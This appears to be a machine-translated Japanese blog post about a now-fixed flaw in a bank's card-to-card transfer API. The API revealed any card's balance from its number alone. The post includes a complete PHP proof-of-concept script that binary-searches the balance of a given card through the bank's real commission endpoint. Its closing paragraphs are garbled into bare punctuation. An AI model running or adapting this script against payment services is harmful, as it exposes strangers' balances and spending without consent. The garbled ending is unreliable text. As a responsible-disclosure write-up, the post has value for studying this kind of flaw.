UPD3:脆弱性は解決され、バランスは検証されなくなりました。
それはすべて、ある晴れた夜、友人が私に彼にカードにお金を投げるように頼んだという事実から始まりました。 私はいつもインターネットバンクまたはモバイルアプリケーションのいずれかでこのような問題を解決しましたが、最近彼らのインターネットバンクが野生の怪物に変わったので、今回は
card2cardサービスを使用することにしました。
私は落ち着いてフィールドを埋めると、予期しないことが起こります:

待って、送信ボタンをクリックしませんでした! どこから来たの? 金額でプレイすると、カードの実際の金額がチェックされます。
最初は、Ajaxが編集ごとにCVCや有効期限を含むすべてのカードデータをサーバーに送信するのは罪深いことだと思いました。 もちろん、これは嫌なことですが、https-彼らが望むことをさせてください。 私はブラウザのリクエストに行きます:

CVCは送信されません。すでに興味深いです。 しかし、有効期間は送信されますが、少なくともある程度保護されていると思いますが、カードの残高とその場でのAjaxの残高を確認する理由はまだありません。
しかし、それでも、私はまだ興味の底に達していないし、リクエストを編集していません:

おっと 反対側では、送信者のカード番号以外は何もチェックされません。
明らかに、単純なブルートフォース法を使用すると、すべてが問題ない金額を簡単に選択でき、エラーが大きくなります。これがカードの残高になります。 つまり、カード番号のみを知っている(もちろん、情報はあまり公開されていませんが、重要ではありません。多くの人がカード番号を友人に渡し、支払いを受け取るためにインターネットに投稿することさえあります)。 さらに、実験が示しているように、これに影響を与える毎月の制限はありません。
穴は重要ではありませんが、この情報をリアルタイムで入手できるため、すべての費用/補充を追跡できます。これはより深刻です。
すぐに公的に利用可能な郵便で警備員に登録解除されますが、通常の反応はゼロです。
概念実証をすぐにスケッチしました(強く打たないで、私のプログラミングの経験は学校でBASICです)。
内部のPHP<?php
header( 'Content-type: text/html; charset=utf-8' );
$card = $_GET['card'];
$card = preg_replace('/[^0-9]+/', '', $card);
if (strlen($card) != 16) {
	exit('<br>Wrong card number: ' . $card);
	
}
echo 'Probing card ' . $card . '... <br>';
flush();
ob_flush();
sleep(1);
$money = 50000;
$max = 1000000;
$min = 0;
$done = false;
$iter = 0;
while ($done == false) {
if($iter %5 == 0) {
  echo 'Still working, please hang on...<br>';
  flush();
  ob_flush();
  sleep(1);
}
$json = file_get_contents('https://www.tinkoff.ru/api/v1/payment_commission/?paymentType=Transfer¤cy=RUB&moneyAmount=' . $money . '&provider=c2c-anytoany&sessionid=1&origin=prt&cardNumber=' . $card . '&fieldtoCardNumber=1&fieldagreement=&securityCode=cvc&expiryDate=10/20');
$obj = json_decode($json);
$result = $obj->{'resultCode'};
  if ($result == "OK") {
    //need to increase
	$min = $money;
	$money = ($min + $max) /2;
	$last_total_money = round($obj->payload->total->value);
	
  } else {
    //need to decrease
	$max = $money;
	$money = ($min + $max) /2;
  }
  
  $iter++;
  
  if ((floor($max) - floor($min)) == 0) {
  
    $done = true;
	echo '<br><br>Money amount is ' . $last_total_money . ' roubles.';
  }
  
  if ($iter > 50) {
	  exit('<br><br>Something went terribly wrong, or the bug is already fixed. Last amount is ' . $last_total_money);
  }
  
}
?>
 . - , , . , , , , .
, , ( ) . .
, - . , .
, , , .